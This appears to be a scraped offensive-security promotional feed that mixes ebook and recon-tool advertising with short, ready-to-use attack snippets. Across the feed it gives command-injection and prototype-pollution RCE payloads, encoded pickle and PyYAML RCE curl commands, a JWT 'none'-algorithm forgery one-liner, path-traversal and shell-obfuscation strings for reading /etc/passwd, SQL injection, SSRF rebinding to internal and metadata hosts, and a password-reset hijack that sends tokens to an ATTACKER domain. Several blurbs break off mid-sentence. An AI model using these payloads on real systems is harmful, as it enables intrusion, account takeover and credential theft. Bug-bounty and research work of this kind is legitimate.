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13 Original OAuth Attack Techniques

OAuth is the login layer of the modern web.

Every "Continue with Google." Every "Sign in with GitHub." Every SSO button on every SaaS you've ever tested. All OAuth under the hood.

Most implementations are broken in ways that aren't

reKover v1.3 is out

Download
https://github.com/BruteLogic/reKover

Now crawling with query + path-param collapse and 2 new testbed cases:

1. Wayback diff (delinked, archive-only paths)
2. JS parsing (fetch/axios, template literals)

Test it on
https://recon.brutelogic.net

Recon fast and smart.

Not All of This Is Online

Most of what you'd dig for across a thousand tabs, we put in one place, current and in order.

The rest you won't find anywhere else: it's ours.

Six ebooks, one price.
https://brutelogic.net/ebooks/brute-bundle

Ready to Run

We don't share BB stories.
We share what you can use.

1. Payloads, techniques, 1-liners
2. References, CVEs, insights on vulns
3. Tools, testbeds, ebooks

Learn them once and you will be able to find more bugs in your next hunting session.

https://brutelogic.net/ebooks

The Login That Waited

A failed login becomes root hours later.
Forge a crash log (URL encoded) in the login field:

login=pitboss PPE unexpectedly@ died NSPPE;:`id>/tmp/pwn`;#

(remove @)

Waits in the logs til a root script parses + runs it.

Citrix NetScaler (CVE-2026-88771).

The Underscore Twin

Backend trusts X-Forwarded-User? Send the twin the proxy forgot to strip:

X_Forwarded_User: admin

CGI/FastCGI/WSGI turn hyphens to underscores, so it becomes like X-Forwarded-User. Proxy strips the real one, backend reads yours.

Caddy (CVE-2026-52845).

If You Value What We Do

We put real time and energy into this community every day. Offensive security, free, for every level.

Independent work, backed by no one but the people who find it useful. If that is you, the ebooks keep it going.

SQLi with HoneySQL Maps

A JSON field that should be a number, sent as a map, becomes SQL:

{"id":{"raw":"1 or 1=1"}}

HoneySQL is the default SQL builder for Clojure apps, and it turns the JSON you send into database queries. Some keys are instructions, not data. :raw means

Question a dumb human and see how dumb they are.

Question a smart human and see how smart they are.

Question an AI model and see how ________ YOU are.

Stop skipping crypto bugs.

This book turns padding and compression oracles, PRNG recovery and hash length extension into working bash/curl/Python PoCs.

Session hijacks, admin forges, CSRF extraction, signature forgery.

https://brutelogic.net/ebooks/aftermath/statistical

4 attack families, 21 real CVEs.

Redirector for SSRF

Most filters only check the first URL.
Redirects slip right past them.



600+ payloads in 4 categories, easy to automate.

The data/instruction boundary was always a simulation.

AI broke it.

It's All About Payloads

PAYLOADS. That’s what our focus was always about: payloads to pop an alert box, to bypass a WAF or just to show a new technique.

It’s no different in our ebooks.

The last 3, which are part of the Broken Token and AfterMath series, come with a new

Simple Bypass Foundation

1. No authz required for static file
2. Layers disagree on path ending

%23 (#) is the new %00

Node.js RCE via EJS
(<v6.0.0-alpha)

Unsafe merge - Prototype Pollution leading to RCE via template rendering.

{"__proto__":{"client":true,"escapeFunction":"function(){return process.mainModule.require('child_process').spawnSync('id').stdout;};//"}}

#node #rce #bypass

JWT SQL Injection

jti (JWT ID) is stored in a DB to prevent token replay.
That lookup is injectable.

"jti": "' OR '1'='1"

Try it: https://403.brutelogic.net/authz/jwt/jti

Full technique: https://brutelogic.net/ebooks/broken-token/jwt

JBroken is our proprietary tool that uses the ebook's FFF PoC technique.

Python RCE

Pickle
curl TARGET/api -H"Content-Type:application/json" -d'{"data":"gASVKwAAAAAAAACMCnN1YnByb2Nlc3OUjAxjaGVja19vdXRwdXSUk5RdlIwCaWSUYYWUUpQu"}'

PyYAML
curl TARGET/api/config -H"Content-Type:application/x-yaml" -d'!!python/object/new:subprocess.check_output [["id"]]'

Have a deeper understanding of security and get ready for its future in the Intelligence Age.

Brute Bundle

6 ebooks + XSS Cheat Sheet (bonus)

Cryptographic oracles, token forgery, SSRF chains, WAF/filter evasion and bug bounty fundamentals.

https://brutelogic.net/ebooks/brute-bundle

$149 value for just $99

Dead Infosec Theory

We don't see the $1k token bill behind the $500 bounty screenshot.

Brute-forcing an LLM through 10k requests to land 1 lucky payload is not autonomous security research.

It's a slot machine.

Infosec needs REPRODUCIBLE METHODOLOGY over marketing spin.

Review Your Recon Skills

1. Test against reKover's testbed

https://recon.brutelogic.net

2. Add reKover to your arsenal

https://github.com/BruteLogic/reKover

Reduce the noise, increase the signal.

Bypass by Doubling

Abuse different parsing layers by duplicating headers and fields.

Here's a (double) example:

POST /api/update HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Content-Type: application/json

Know every way to break a JWT.

38 pages, 47 techniques.

https://brutelogic.net/ebooks/broken-token/jwt

With original research and tested payloads.

Path Traversal Bypasses

Null Byte Injection
../../../etc/./passwd%00.png

Stripped Dot-Dot-Slash
..././..././..././e../tc..//pas../swd

Multi-Stage Decoding
..%2%35%32F..%2%35%32F..%2%35%32Fetc%2%35%32F/passwd

Truncation Appending (4096 bytes)
../../../etc/./passwd/././././././

JWT NoAlg Bypass
(no sig needed)

Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiJ9.

Change the fields below accordingly.

echo -n '{"sub":"admin","role":"admin","admin":true}' | base64 | tr -d '=' | xargs -I{} echo "eyJhbGciOiJub25lIn0.{}."

#BugBounty #BrokenAuth

Broken Token Series - JWT and OAuth

https://brutelogic.net/ebooks/broken-token/jwt
https://brutelogic.net/ebooks/broken-token/oauth

Know every way to break to break those tokens.

Exclusive FFF PoC framework - Find, Forge and Fire.

What are your technical needs for cybersecurity now?

Let us know and we might figure a way to help you out.

We can build something customized for you.

You can benefit from our experience to level up your game.

Stop guessing at crypto bugs.

This gives you working bash/curl/Python PoCs that turn timing, size and status leaks into actual session hijacks, admin forges and CSRF extractions: the exact attacks that still pay on real programs.

https://brutelogic.net/ebooks/aftermath/statistical

Real math. Real PoCs.

First Bounty - How To Get It?

Focus your efforts on the vulnerability types that consistently deliver results for new hunters.

These account for the majority of first bounties and require systematic testing rather than advanced skills.

https://brutelogic.net/ebooks/first-bounty/#about

All the answers

JWT Authorization Bypass Testbed
https://403.brutelogic.net/authz/jwt

Broken Token JWT Ebook
https://brutelogic.net/ebooks/broken-token/jwt

LFR Alternative Payload for File://
(in PHP's file_get_contents() scenario)

php://filter/resource=/etc/?/../passwd

Reference: https://rodoassis.medium.com/on-ssrf-server-side-request-forgery-or-simple-stuff-rodolfo-found-part-i-4edf7ee75389

Security in Collapse
- Hacking the Intelligence Age

Get ready for the future of security.

Work in progress, free.

SSRF - TOCTOU DNS Rebind

Exploits the difference between validator and fetcher.

Localhost:
http://make-203.0.113.5-rebind-127.0.0.1-rr.1u .ms

Replace 127.0.0.1 with any internal target, cloud metadata included.

Brute Testbeds

XSS
https://gym.brutelogic.net

Recon
https://recon.brutelogic.net

403
https://403.brutelogic.net/access

JWT
https://403.brutelogic.net/authz/jwt

OAuth
https://403.brutelogic.net/authz/oauth

https://brutelogic.net

SSRF Fundamentals

Discovery methodology. Parser bypasses. Blind exploitation chains. Cloud metadata attacks.

Five chapters, one systematic path.

This field runs deeper than most hunters ever go.

https://brutelogic.net/ebooks/ssrf-mastery-series/fundamentals/

Methodology, payloads, tricks and an exclusive approach to vulnerabilities with original content.

If you are serious about Bug Bounty or Offensive Cybersecurity in general, this is for you.

Check them out.

Patch_Diffs -> New_Bugs

Langflow, an open-source tool for visually building AI agent and RAG pipelines, is another example of multiple hits by the same flaw.

CVE-2025-3248: user input to exec()
CVE-2026-33017: same sink, diff endpoint

1. Grep the sink, not the CVE
grep -rn

Stealth Hybrid URL Mapper - ReKover
https://github.com/BruteLogic/reKover

Most Common IDOR

URL path: /users/42/profile
Query string: ?orderId=9011
Request body: {"target_user": 42}
Custom header: X-Account-Id: 42
Cookie var: userid=42; tenant=7
File name: /uploads/a8f3d91c.pdf
GraphQL var: { user(id: 42) { email } }
JWT claim: "sub": 42, "tenant": 7

Path Normalization 403 Bypass

Nginx might fall for a mismatch in the location block.

Blocked
https://403.brutelogic.net:8080/access/nginx/path

Bypass
https://403.brutelogic.net:8080/./access/nginx/path

Single dot + slash: access granted.

Brute Bundle

AfterMath Statistical, Broken Token JWT and OAuth, SSRF Fundamentals, The Brute Art of Bypass and First Bounty.

Cryptographic oracles, token forgery, SSRF chains, WAF/filter evasion and bug bounty fundamentals.

https://brutelogic.net/ebooks/brute-bundle

All ebooks, one price.

Bash RCE Bypass Tricks

Empty Quote Split
c''at /etc//passwd

Brace Expansion
{cat,/etc//passwd}

IFS Space Replace
cat${IFS,}/etc//passwd

Wildcard Path
/???/ca? /e*/p*wd

Reverse Execution
$(rev<<<'dwssap/cte/ tac')

Base64 Self-Decode
echo Y2F0IC9ldGMvcGFzc3dk|base64 -d|bash

The Zip Bang for RCE

A zip extraction feature trusts the filenames inside the archive. No path sanitization, no traversal check.

We built a package with every common outcome baked in, one zip, five languages, five depth guesses, plus a root path targeting cron.

../b1.php

SSRF pays well and the attack surface keeps expanding. Most hunters test randomly and miss what matters.

Discovery, parser exploitation, blind confirmation chains, cloud metadata attacks. The path to consistent five-figure bounties.

http://brutelogic.net/ebooks/ssrf-mastery-series/fundamentals

Reset Link Hijack

1. Set your domain and target/victim

a=ATTACKER && curl https://TARGET/reset -d "email=VICTIM" -H "Host: $a" -H "X-Forwarded-Host: $a" -H "X-Host: $a"

2. Watch the logs

tail -f /var/log/apache2/./access.log | grep -i "token"

Victim clicks, token is yours.

ReKover - Stealth hybrid URL mapper

ReKover discovers URLs on a target by combining three phases into one fast pipeline:

1. Passive - extracts paths from robots.txt and sitemap.xml

2. Brute - probes a probability-weighted wordlist built as a L1→L2→L3 tree, covering the top

Start Hunting, Start Earning

Most newcomers go wide and find nothing. They pick the biggest targets, run the same tools everyone runs, and compete for bugs that were already found and fixed.

The ones who land something fast do the opposite. One target. Full surface mapped

The systematic guide to bypassing XSS filters and WAFs.

Learn the methodology that maps filter behavior, exploits human assumptions, and finds bypasses others miss.

https://brutelogic.net/ebooks/brute-art-bypass

Know every way to break a JWT.

Every technique, every payload, tested and ready.

Algorithm confusion, header field injection, claim manipulation, format attacks — including original research not documented in any public resource.

https://brutelogic.net/ebooks/broken-token/jwt

ReKover - Stealth hybrid URL mapper

Part of the King of Noobs suite, offensive recon tools built on KISS and the Pareto principle. Simple, fast, and effective.

https://github.com/BruteLogic/reKover